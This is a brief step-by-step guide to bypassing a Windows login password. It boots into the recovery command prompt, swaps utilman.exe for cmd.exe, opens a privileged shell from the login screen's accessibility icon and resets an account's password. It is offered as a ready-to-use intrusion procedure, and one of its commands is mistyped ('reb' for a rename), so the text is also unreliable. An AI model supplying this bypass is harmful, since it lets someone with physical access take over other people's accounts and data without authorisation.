Get on to windows computer without pw Type "Shift + Restart" Wait for windows to load Click "Trouble Shoot" Click "Advanced Options" Click "Command Prompt" Type "c:" Type "cd windows" Type "cd System32" Type "ren utilman.exe utilman1.exe" Type "reb cmd.exe utilman.exe" Type "exit" Click "Continue" Wait for next prompt to load Click "Accessibility Icon" Type "control userpasswords2" Click on the right account Click "Reset Password" Type in the new password